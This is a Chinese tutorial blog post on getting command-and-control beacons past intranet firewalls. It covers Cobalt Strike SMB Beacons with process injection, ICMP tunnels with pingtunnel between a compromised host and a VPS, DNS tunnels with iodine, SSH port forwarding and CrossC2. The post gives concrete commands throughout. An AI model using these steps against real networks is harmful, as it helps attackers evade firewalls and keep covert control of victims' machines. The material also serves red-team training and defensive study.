【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议

news2024/11/27 12:32:28

目录

一、基础知识

二、隧道技术

1、简介:

2、SMB隧道

3、ICMP隧道

4、DNS隧道

5、SSH协议

6、控制上线-插件


一、基础知识

【内网安全-基础】基础知识、信息收集、工具https://blog.csdn.net/qq_53079406/article/details/128292587?spm=1001.2014.3001.5501【内网安全-防火墙】防火墙、协议、策略https://blog.csdn.net/qq_53079406/article/details/128314938?spm=1001.2014.3001.5501【内网安全-通讯&上线】通讯&上线基础知识https://blog.csdn.net/qq_53079406/article/details/128320574?spm=1001.2014.3001.5501

二、隧道技术

1、简介:

1)是路由器把一种网络层协议封装到另一个协议中以跨过网络传送到另一个路由器的处理过程

————

2)隧道技术是一种数据包封装技术,它是将原始IP包(其报头包含原始发送者和最终目的地)封装在另一个数据包(称为封装的IP包)的数据净荷中进行传输

————

3)隧道技术上线:
HTTP/S & DNS & SSH & ICMP & SMB & 协议穿透等
除去SMB隧道外,其他隧道技术大部分针对的出站策略绕过(也就是最终传输的地方会转会原本的协议)


2、SMB隧道

1)SMB(全称是Server Message Block)是一个网络协议名,它能被用于Web连接和客户端与服务器之间的信息沟通

#判断:445端口

————

2)上线条件

1、目标主机(SMB Beacon)接受 445 端口连接(因此445端口成为判断能否使用的方法)
2、Beacon只能链接由同一个 CS生成的
3、具有管理员权限或管理员凭据

————

3)使用(工具cs)

1、创建SMB Beacon 监听器
2、派生会话SMB Beacon(右键选中HTTP监听器上线的主机,进入Beacon控制台,输入spawn加SMB Beacon的监听器名称)
3、注入进程上线SMB Beacon(将SMB Beacon注入到某个进程中;右键--目标--进程列表--Inject--选中Beacon)


3、ICMP隧道

1)ICMP隧道技术是一种数据包封装技术,它是将原始IP包封装在ICMP的数据净荷中进行传输

#判断:ping命令(ping命令waf、防火墙不屏蔽情况下可以穿透)

————

2)在ICMP通信协议中,通信双方不需要开放端口( ping 命令)

————

3)ICMP协议项目:
https://github.com/esrrhs/spp
https://github.com/bdamele/icmpsh
https://github.com/esrrhs/pingtunnel

————
4)使用:

VPS:
./pingtunnel -type server
肉鸡:
管理器运行(ICMP程序)
pingtunnel.exe -type client -l 127.0.0.1:6666 -s 192.168.46.66 -t 192.168.46.66:7777 -tcp 1 -noprint 1 -nolog 1(此处,监听本地6666端口,并转发到指定ip的7777端口)
 ——
CS:
监听器1:127.0.0.1 6666
监听器2:192.168.46.66 7777
生成监听器1的Stager后门肉鸡执行


4、DNS隧道

1)DNS:为了访问互联网和内网资源,DNS提供域名解析服务,将域名和IP地址进行转换

————

2)DNS隧道是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信)的技术。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备将很难做到完全过滤掉DNS流量
#判断:nslookup dig

————

#工具:https://github.com/yarrick/iodine

iodine原理:通过TAP虚拟网卡,在服务端建立起一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网。在客户端和服务端之间建立连接后,客户机上会多出一块名为dns0的虚拟网卡

————

3)上线条件:

1、内网主机出网DNS协议数据
2、域名申请及配置
3、监听器创建及配置
4、后门绑定监听器及生成

————

4)上线:
1、内网主机出网DNS协议数据(解决通讯)
工具:https://github.com/yarrick/iodine
判断出网:nslookup www.baidu.com

——

2、服务器:设置密码并创建虚拟IP及绑定域名指向
iodined -f -c -P 密码 192.168.0.1 ns1.域名 -DD
设置密码xiaodi并创建虚拟IP及绑定域名指向

——

3、客户端:连接密码并绑定域名指向
iodine -f -M 200 -P 密码 ns1.域名
-尝试通讯尝试连接:
ssh root@192.168.0.2


5、SSH协议

1)安全外壳协议(Secure Shell,简称SSH)是一种在不安全网络上用于安全远程登录和其他安全网络服务的协议

————

2)CS无SSH协议监听器配置,无法上线

————

3)通讯(SSH协议存在于Linux系统,跳板机必须Linux):

iptables -F /* 清除所有规则 */
iptables -A INPUT -p tcp --dport 22 -j ACCEPT /*允许包从22端口进入*/
iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT /*允许从22端口进入的包返回*/
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT /* 域名解析端口,一般不开 */
iptables -A INPUT -p udp --sport 53 -j ACCEPT /* 域名解析端口,一般不开 */
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT /*允许本机访问本机*/
iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp -s 0/0 --dport 80 -j ACCEPT /*允许所有IP访问80端口*/
iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
iptables-save > /etc/sysconfig/iptables /*保存配置*/
iptables -L /* 显示iptables列表 */

开启ssh协议登录:
vi /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart
本地:出站封
ssh -CfNg -L 1122:192.168.1.15:8080 root@192.168.1.166
curl http://127.0.0.1:1122
远程:入站封
ssh -CfNg -R 1234:192.168.1.15:8080 root@IP地址
curl http://127.0.0.1:1234


6、控制上线-插件

https://github.com/gloxec/CrossC2

面向Linux Mac IOS Android系统上线支持

————

目前版本只支持反向的https和正向的tcp
1、下载对应版本加载器和CNA插件
2、上传加载器文件和本地加载CNA插件
3、修改CNA插件配置路径及上传Key文件
4、使用命令或插件绑定HTTPS监听器生成

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/92109.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Seata 术语

爬虫组件分析目录概述需求:设计思路实现思路分析1.TC (Transaction Coordinator) - 事务协调者2.TM (Transaction Manager) - 事务管理器3.RM参考资料和推荐阅读Survive by day and develop by night. talk for import biz , show your perfect code,full busy&…

[附源码]Nodejs计算机毕业设计基于的防疫隔离服务系统Express(程序+LW)

该项目含有源码、文档、程序、数据库、配套开发软件、软件安装教程。欢迎交流 项目运行 环境配置: Node.js Vscode Mysql5.7 HBuilderXNavicat11VueExpress。 项目技术: Express框架 Node.js Vue 等等组成,B/S模式 Vscode管理前后端分…

ruoyi-vue 集成electron详细步骤

刚使用ruoyi-vue开始集成electron的可以直接去这个地址下载源码 ruoyi-vue-electron: 使用ruoyi-vue集成electron 集成步骤: 1、在ruoyi-vue项目中安装electron相关插件 //进入ruoyi-ui 按顺序执行安装以下4个插件yarn add electron yarn add electron-devtools-…

5、英飞凌-AURIX-TC3X7: PWM实验之使用 GTM -TOM 实现

目录5、英飞凌-AURIX-TC3X7: PWM实验之使用 GTM -TOM 实现1、GTM -TOM简介2、TOM框图3、TOM全局通道控制--TGC0, TGC14、实验简介4.1、实验目的4.2、TC3X7 GTM 简介4.3、具体配置流程5、具体实现5.1、Cpu0_Main.c5.2、TOM_PWM.C5.3、TOM_PWM.h5、英飞凌-AURIX-TC3X7…

StyleGAN系列

1. Progressive Growing of GANs for Improved Quality, Stability, and Variation (PGGAN) 作者: Tero Karras Timo Aila Samuli Laine Jaakko Lehtinen 基于一个理论,高分辨率的图像相对于较小分辨率的图像,是更难train的,…

List<T>, IQueryable, IEnumerable 关系和区别

最近在修项目的历史代码,发现搞混了很多拓展方法,写一篇博客澄清一下。 概念需要:iqueryable不应该和ienumerable比而应该和ilist比,ienumerable是这两者的父接口。 问题:IQueryable, IEnumerable的? &…

Linux vi/vim

vi/vim 的使用 基本上 vi/vim 共分为三种模式,分别是命令模式(Command mode),输入模式(Insert mode)和底线命令模式(Last line mode)。 这三种模式的作用分别是: 命令模…

数据分析可视化-FineReport 图表排序接口

1. 概述 1.1 应用场景 图表数据展示的顺序是由图表绑定的数据顺序决定的,一般建议在 SQL 中排好序再用图表实现。 但总有些场景不支持提前在 SQL 中排好序,或需要图表实现动态排序,此时可参考本文方法使用排序接口实现。 1.2 功能简介 Fi…

文本转语音免费 微软Azure官网

使用跨 140 种语言和变体的 400 种神经网络语音吸引全球受众。使用极具表现力和类似人类的声音,使文本阅读器和已启用语音的助理等方案栩栩如生。神经网络文本转语音支持多种朗读风格,包括新闻广播、客户服务、呼喊、耳语以及高兴、悲伤等情感。 地址 文…

数据结构---二叉堆

二叉堆二叉堆自我调整插入节点(上浮)删除节点(下沉)构建二叉堆(所有非叶子节点依次“下沉”)二叉堆本质上是一种完全二叉树,它分为两个类型。最大堆最小堆 最大堆的任何一个父节点的值,都大于或等于它左、右孩子\节点的值 最小堆…

【实测】windows安装部署go实录(超详细)

之前我的课程中,关于go语言的安装是主要展示了mac的,windows的就一笔带过了。 结果被我说着了(可能在第一步直接被劝退),好多用windows的小伙伴部署go语言环境各种问题各种坑,网上教程看了个一知半解。没办…

网络工程毕业设计 SSM药品管理系统(源码+论文)

文章目录1 项目简介2 实现效果2.1 界面展示3 设计方案3.1 概述3.2 系统流程3.2.1 添加信息流程3.2.2 操作流程3.2.3删除信息流程3.3 系统结构设计4 项目获取1 项目简介 Hi,各位同学好呀,这里是M学姐! 今天向大家分享一个今年(2022)最新完成…

域0day-(CVE-2022-33679)容易利用吗

前言 最近twitter上关于CVE应该CVE-2022-33679比较火了,但是资料也是比较少,下面来唠唠吧。 kerberos认证原理 先了解几个概念 认证服务(Authentication server):简称AS,认证客户端身份提供认证服务。 域控服务器(Domain Control&#x…

ubuntu 安装 MySql 【亲测有效】

目录 一:ubuntu安装mysql 二:mysql 中文乱码 解决 三:Mysql数据库 远程连接授权 四:卸载Mysql并重新安装 五:Mysql 远程连接测试 一:ubuntu安装mysql 首先来到opt(安装)目录下,开启终端&am…

压缩包密码如何解除?

压缩包设置了加密,需要输入压缩包密码才能够顺利解压文件出来。但是有些时候,一些文件只需要一段时间内要加密,之后文件不需要加密了,每次解压文件的时候还是需要输入压缩包密码才行,就很麻烦,那么RAR压缩包…

分布式状态机共识协议 Copilot

目录 前言 定义 slowdown 为什么现有的共识协议无法容忍 slowdown Copilot 如何处理 slowdown 设计 模型 排序 Client 同时发送指令至 pilot 与 copilot Pilot 提议指令与其初始依赖 节点回复 FastAccept Pilot 尝试通过 fast path 来 commit 该指令 Pilot 在 Acc…

C++11标准模板(STL)- 算法(std::min)

定义于头文件 <algorithm> 算法库提供大量用途的函数&#xff08;例如查找、排序、计数、操作&#xff09;&#xff0c;它们在元素范围上操作。注意范围定义为 [first, last) &#xff0c;其中 last 指代要查询或修改的最后元素的后一个元素。 返回各给定值中的较小者 …

基于Java实现(PC)职员工作量管理系统【100010042】

工作量统计系统 一、概述 ​ 在本次专业课实践中我选取到的题目为员工工作量统计系统。该系统分为三个模块&#xff0c;一是实现员工的登录&#xff0c;二是进入到员工的个人界面&#xff0c;并显示&#xff0c;输出员工的个人信息&#xff0c;同时还可以进行输入。第三个模块…

div对角线来回浮动显示

animation-timing-function linear 动画从头到尾的速度是相同的。 ease 默认。动画以低速开始&#xff0c;然后加快&#xff0c;在结束前变慢 ease-in 动画以低速开始 ease-out 动画以低速结束 ease-in-out 动画以低速开始和结束 steps(int,start|end) 指定了时间函数中的间隔…

公司对外投资和担保

一、公司对外投资和担保规范 公司对外投资和外他人提供担保&#xff0c;需承担相应的责任 公司可以对外投资和提供担保 二、公司提供担保的方式 保证 抵押 质押 三、公司提供担保的规定 公司对外承担的规定 公司向其他企业投资或者为他人提供担保&#xff0c;依照公司章程的规…